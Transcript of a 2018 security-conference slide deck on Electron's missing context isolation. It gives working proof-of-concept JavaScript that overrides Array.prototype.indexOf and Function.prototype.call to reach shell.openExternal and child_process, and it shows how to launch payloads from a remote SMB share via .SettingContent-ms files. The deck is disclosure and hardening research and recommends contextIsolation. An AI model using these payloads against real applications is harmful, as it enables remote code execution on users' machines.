Electron: Abusing the lack of context isolation - CureCon(en)

Electron: Abusing the lack of context isolation - CureCon(en)

This is the slides for CureCon which was held in Berlin

1a5bce24526a7d6f1ab89678df2d673c?s=128

Masato Kinugawa

August 18, 2018
Tweet

Transcript

  1. Masato Kinugawa CureCon 08/2018

  2. About me • Masato Kinugawa (@kinugawamasato) • I live in

    Japan • I Joined Cure53 in 01/2016 • I like web, browser, JavaScript and XSS
  3. Introduction • In 2016, we audited one Electron based application

    • Found RCE, ... but noticed the root cause was in Electron itself • Reported to Electron Team and it was fixed by adding the option called "contextIsolation" • I'd like to talk about it!
  4. Outline 1. Basics of Electron 2. Details of Context Isolation

    3. Abusing the lack of Context Isolation
  5. Basics of Electron 1

  6. Electron? • Framework for creating desktop applications with HTML, CSS

    and JavaScript • Developed by GitHub
  7. https://electronjs.org/#apps

  8. Basics: Process • Electron has two process types • Main

    Process • Renderer Process
  9. Can create Renderer Process Basics: Main Process main.js const {BrowserWindow}

    = require('electron'); let win = new BrowserWindow(); //Open Renderer Process win.loadURL(`file://${__dirname}/index.html`);
  10. Basics: Renderer Process It's a browser window index.html <!DOCTYPE html>

    <html> <head> <title>TEST</title> </head> <body> <h1>Hello Electron!</h1> <style> body{ background:url('island.png') } </style> </body> </html>
  11. Basics: webPreferences • Settings of renderer process's features • Set

    it in main process, like this: new BrowserWindow({ webPreferences:{ "FEATURE_NAME": true } });
  12. Basics: webPreferences • Important 3 features in this talk •

    nodeIntegration • preload • contextIsolation
  13. Basics: nodeIntegration Decide if Node APIs are enabled in renderer

    let win = new BrowserWindow({ webPreferences:{ nodeIntegration: true } }); win.loadURL(`[...] index.html`); main.js <body> <script> require('child_process') .exec('calc') </script> </body> index.html This means: nodeIntegration + XSS in renderer = RCE
  14. Basics: Preload Script • Loaded before other scripts in the

    renderer are loaded • Has unlimited access to Node APIs new BrowserWindow({ webPreferences:{ nodeIntegration: false, preload: path.join(__dirname,'preload.js') } }); main.js
  15. Basics: Preload Script /* preload.js */ typeof require === 'function';//true

    window.runCalc = function(){ require('child_process').exec('calc') }; <!– index.html --> <body> <script> typeof require === 'undefined';//true runCalc(); </script> </body> ➡Can export necessary node-features to pages Renderer Process
  16. Are these settings RCE-safe enough? • nodeIntegration : false •

    Necessary features are exported via preload • Also assume that the argument is properly validated to prevent RCE ➡No RCE even if XSS exists?
  17. Still not safe enough Developers should use "contextIsolation" option also!

    new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); What is that? ➡
  18. Details of Context Isolation 2

  19. contextIsolation • Added in v1.4.15 (Released on Jan 20, 2017)

    • The default is false • Official doc still says it's an experimental feature but we really need it to remove the possibility of RCE
  20. contextIsolation's effect • Separates JavaScript context between the page's scripts

    and preload scripts • Separetes JavaScript context between the page's scripts and Electron's internal code
  21. contextIsolation Electron uses the same technology as Chromium's Content Scripts

    to enable this behavior. https://github.com/electron/electron/blob/2551837ffbbd88f48236a658f601e896fb61ec83/doc s/tutorial/security.md#3-enable-context-isolation-for-remote-content “ Let's compare the behavior! ➡
  22. WebExtension's content scripts /* Content Script */ window.abc = 123;

    /* https://example.com */ alert(window.abc)//undefined Isolated World
  23. Electron's preload scripts(default) /* preload.js */ window.abc = 123; /*

    index.html */ alert(window.abc)//123 No Isolated World
  24. Electron(contextIsolation:true) /* preload.js */ window.abc = 123; /* index.html */

    alert(window.abc)//undefined Isolated World
  25. Communicate under contextIsolation:true /* preload.js */ onmessage=function(e){ if(e.data==='runCalc'){ require('child_process').exec('calc') }

    } /* index.html */ postMessage('runCalc','*') Isolated World Use postMessage, like WebExtension's content script
  26. Let's see... and? • The lack of isolated world is

    useful for developers, no? • because we can communicate directly... But it is useful for attackers also?! ➡
  27. Abusing the lack of Context Isolation 3

  28. Basic idea to RCE An Attacker can: 1. Execute arbitrary

    JavaScript in renderer somehow(e.g. XSS or navigation to external sites) 2. Overwrite the built-in method which is used in preload or Electron internal code to own function 3. Trigger the use of overwritten function 4. Something happens => Achieve RCE
  29. Attack Examples #1: Attacking preload scripts #2: Attacking Electron internal

    code
  30. #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); This code opens only http(s): links with default browser
  31. shell.openExternal ? Opens the given URL using the desktop's default

    way const {shell} = require('electron'); /* Open with default browser */ shell.openExternal('https://example.com/'); /* Open with default mail client */ shell.openExternal('mailto:test@example.com'); /* Execute exe file */ shell.openExternal('file:///C:/windows/system32/calc.exe');
  32. #1: Attacking preload scripts /* preload.js */ const {shell} =

    require('electron'); const SAFE_PROTOCOLS = ["http:", "https:"]; document.addEventListener('click', (e) => { if (e.target.nodeName === 'A') { var link = e.target; if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href); } else { alert('This link is not allowed'); } e.preventDefault(); } }, false); We want to pass arbitrary URL to shell.openExternal Let's overwrite this!
  33. #1: Attacking preload scripts <script> Array.prototype.indexOf = function(){ return 1337;

    } </script> An attacker injects this JavaScript code:
  34. #1: Attacking preload scripts if (SAFE_PROTOCOLS.indexOf(link.protocol) !== -1) { shell.openExternal(link.href);

    } Now this code has ...
  35. #1: Attacking preload scripts if (1337 !== -1) { shell.openExternal(link.href);

    } the same meaning as the following code!
  36. #1: Attacking preload scripts <script> Array.prototype.indexOf=function(){ return 1337; } </script>

    <a href="file:///C:/windows/system32/calc.exe">CLICK</a> Click Now all links are opened by shell.openExternal if (1337 !== -1) { shell.openExternal(link.href); }
  37. BTW: Is shell.openExternal really exploitable? • To abuse this, the

    malicious program is placed in a known path • We can't pass any arguments Do we have any ways? ➡
  38. How about file server? const { shell } = require('electron');

    shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.exe"); Shows warning dialog. Hmm...
  39. File server + .SettingContent-ms file const { shell } =

    require('electron'); shell.openExternal("file://[REMOTE_SMB_SERVER]/share/test.SettingContent-ms"); • Matt Nelson found that ".SettingContent-ms" file can run shell command without warning dialog The Tale of SettingContent-ms Files – Posts By SpecterOps Team Members(Matt Nelson) https://posts.specterops.io/the-tale-of-settingcontent-ms-files-f1ea253e4d39 Works!
  40. Other tricks • File server + .jar file (Java needed)

    • Java does not respect ADS • File server + mscorsvw.exe (Found by Alex Inführ) InsertScript: DLL Hijacking via URL files (Alex Inführ) https://insert-script.blogspot.com/2018/05/dll-hijacking-via- url-files.html
  41. #2: Attacking Electron internal code • A part of the

    Electron itself is implemented by using Node.js code • The overwritten built-in method is used here as well • By triggering the use of overwritten method in internal code, can get access to node APIs from the argument
  42. #2: Attacking Electron internal code // Clean cache on quit.

    process.on('exit', function () { for (let p in cachedArchives) { if (!hasProp.call(cachedArchives, p)) continue cachedArchives[p].destroy() } }) https://github.com/electron/electron/blob/664c184fcb98bb5b4b6b569553e7f7339d 3ba4c5/lib/common/asar.js#L30-L36 "exit" event listener is always set by the internal code when the page loading is started. This event is emitted just before navigation
  43. #2: Attacking Electron internal code EventEmitter.prototype.emit = function emit(type) {

    [...] handler = events[type]; [...] var isFn = typeof handler === 'function'; len = arguments.length; switch (len) { // fast cases case 1: emitNone(handler, isFn, this); break; case 2: [...] } }; if the "exit" event is emitted, EventEmitter.prototype.emit is called and it executes "emitNone" function https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L156-L231 Note: Here is inside require('events') bundled in Node.js
  44. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } https://github.com/nodejs/node/blob/8a44289089a08b7b19fa3c4651b5f1f5d1edd71b/lib/events.js#L104-L113 Then, it goes here
  45. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } "self" is Node's process object
  46. #2: Attacking Electron internal code process.mainModule.require The process object has

    a reference to "require" function
  47. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } So, let's overwrite this "call" and get access to process object
  48. #2: Attacking Electron internal code Overwrite Function.prototype.call, like this: <script>

    Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } location.reload();// Trigger the "exit" event </script>
  49. #2: Attacking Electron internal code function emitNone(handler, isFn, self) {

    if (isFn) handler.call(self); else { var len = handler.length; var listeners = arrayClone(handler, len); for (var i = 0; i < len; ++i) listeners[i].call(self); } } Function.prototype.call=function(process){ process.mainModule.require('child_process').execSync('calc'); } calc is launched via overwritten "call"!
  50. Attack Routes Attack route's examples: • XSS • Navigation to

    arbitrary remote sites • MitM Basically arbitrary JavaScript execution in the renderer + no "contextIsolation" mean game over.
  51. Attack Routes(2) • Drag & Drop • The window is

    a drop-zone by default, like general browsers
  52. Attack Routes(3-1) •Middle-click the links • Electron opens it in

    the new window by default
  53. Attack Routes(3-2) • Handling middle-click is often forgotten by app

    • "click" event is not emitted /* preload.js */ document.addEventListener('click', (e) => { /* It will not come here */ }, false);
  54. Conclusion • We should know RCE happens in default Electron

    even if "nodeIntegration" is not enabled • "contextIsolation" prevents RCE with overwritten built-in method. We have to use it explicitly because currently the default is false new BrowserWindow({ webPreferences:{ nodeIntegration: false, contextIsolation: true, preload: path.join(__dirname,'preload.js') } }); IMPORTANT!
  55. Thanks! • Thanks for reviewing, Mario Heiderich! • Thanks for

    the opportunity to give a presentation, Cure53 members!